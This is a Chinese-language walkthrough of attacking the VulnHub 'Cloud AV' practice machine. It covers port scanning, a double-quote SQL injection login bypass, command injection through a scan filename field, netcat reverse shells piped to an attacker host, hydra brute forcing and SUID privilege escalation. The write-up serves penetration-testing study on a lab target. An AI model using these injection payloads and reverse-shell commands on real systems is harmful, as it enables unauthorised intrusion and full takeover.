声明:文章仅供学习网络安全技术参考研究使用,请勿使用相关技术做违法操作。
本公众号的技术文章可以转载,能被更多人认可本文的创作内容属实荣幸,转载时标明来源即可.也欢迎对文章中出现的不足和错误进行批评指正!
实战打靶系列第 02 篇文章
靶机地址:
https://www.vulnhub.com/entry/boredhackerblog-cloud-av,453
涉及到的技术点:
端口扫描
网络应用攻击
sql注入
命令注入
暴力破解
代码分析
一、主机发现:
这里使用另一个工具arping,相比较arp-scan,arping工具发应用范围更广,因为基本Linux系统都会安装arping,但是arping不能对一个网段进行扫描,只能对当ip进行扫描,所以要使用一个bash脚本配合使用(也可以直接使用nmap进行扫描):
这里发现107回复了数据包,则107为靶机IP地址。
二、端口探测:
对靶机所有端口进行探测,探测端口服务版本信息等
可以看到,这个靶机中规中矩,开放了22,8080端口,分别运行了ssh和http服务
三、web渗透---sql注入:
打开浏览器查看8080端口对应信息,只有一个输入框。
这里提示我们输入一个邀请码,也就是类似于密码,针对这种情况,我们有一般两个思路,一是使用sql注入无密码登陆后台,二是暴力破解密码,这里使用sql注入,邀请码基本上都不是纯数字,所以可以判断为字符型注入
这里输入and 1=2 以后只是提示我们输入的信息有错误,而没有爆出数据库查询的错误,这就证明这里是一个字符型注入,字符型注入首先要判断闭合方式,这里采用苑房弘老师的思路,由于键盘可以键入的特殊符号在不同的语言中都有不同的含义,所以使用burpsuite将所有字符输入一遍进行尝试,找到真正的字符(这里有必要说明一下,在真实的渗透环境中,字符型注入的闭合方式都比较简单,只有ctf中才会有奇奇怪怪的闭合方式)
这里使用burpsuite截获了数据包,送到intuder模块进行测试,这里手动输入键盘所有字符作为字典
这里发现别的符号返回的状态码都是200,只有双引号返回了500,分别查看对应返回结果。下面是双引号的返回结果
下面是其他符号的返回结果:
这就说明双引号就是这个字符型的闭合方式,同时我们在返回结果中看到了sql查询语句
‘select * from code where password =” ‘ +password + ‘ “ ‘ 这里注意一下引号之间的配对问题,这段代码最后生成的数据库查询语句select * from code where password =”password “在这里我们输入一个双引号以后语句变为了 select * from code where password =” “ “这样就实现了闭合,在使用万能密码常用的or条件,这里我们输入” or 1=1 -- 后语句是这样的select * from code where password =” ” or 1=1 -- “,--(空格)用于注释后面的双引号。
四、web渗透--命令执行漏洞
进入产品界面以后,发现是一个病毒查杀程序,我们输入一个上面的文件名看一下结果,我们输入hello以后文件返回结果如下。
从返回结果中我们有理由猜测这里是我们输入一个名称以后,会被拼接成为一条启动杀毒程序的命令语句放到命令行执行,这里我们要使用管道符|,它可以将多条语句拼接在一起,并将前一个语句的输出当作另一个程序的输入,并输出后一个程序的结果,这里首先尝试这个想法是否可行,我们输入hello|id,返回结果如下:
可以看到我们的想法可行,那我们就尝试反弹shell,使用nc工具,这里输入hello|nc -nv 192.168.56.101 2233 -e /bin/bash,本地开启监听以后并没有收到反弹shell,这里猜测是由于靶机nc没有-e参数,这里我们尝试直接使用nc连接kali,发现可以连接,证明确实是靶机中的nc没有-e参数,这里我们可以使用这样一种方法,输入hello|nc 192.168.56.101 2233|/bin/bash|nc -nv 192.168.56.101 4444,这里kali需要同时开启2233和4444端口,我们在2233端口输入的语句会在靶机中输入到bash环境中执行,再将执行的结果返回到kali的4444端口中。(当然这里针对nc没有-e参数还可以使用命名管道符进行反弹shell)
五、用户名密码爆破:
这里发现一个后缀名是sql的文件,
查看一下文件类型:
通过搜索引擎发现后缀名为sql的文件是数据库的脚本,我们需要使用查询分析器运行脚本文件,我们直接执行一下看看,这里启动sqlite,并没有反应,我们使用nc将文件传输到本地中,在本地进行内容的读取
这里成功收到文件,进行读取:
这里成功读取到信息,是一些密码,由于靶机开启了22端口,我们尝试找到有bash环境的用户进行密码爆破
这里只有三个用户有bash环境,我们制作用户名字典和密码字典,使用hydra进行爆破。结果如下:
没有结果,这就说明这个信息是没有用的,我们还需要另寻他法
六、信息收集:
既然当前目录找不到有用信息,就到上一级目录中收集信息,查看上一级文件详细信息时我们发现如下情况
这里update_cloudav和update_cloudav.c两个文件,
update_cloudav是一个可执行文件,并且所有者为root,也就是说这个文件有suid权限,文件执行时是root权限,关于文件所有者和所属组的相关信息,下面甩出两张AI的回答的图片,这里要注意update_cloudav的所属组是scanner,使用whoami看到我们当前的用户也是scanner,也就是说我们有这个文件的执行权限,不需要使用sudo命令(而且我们并不知道scanner用户的密码),
七、suid提权:
这里我们可以想到update_cloudav.c就是这个可执行文文件的C语言源码,我们读取一下源文件:
可以看到内容就是执行病毒库的更新程序并且要求我们在执行文件的时候带一个参数(倒数第六行),带的参数也会放到system函数中执行,那我们就尝试让我们的参数是反弹shell的命令即可:
成功获得root权限!
参考资料:
https://www.aqniukt.com/goods/show/2434?targetId=16289&preview=0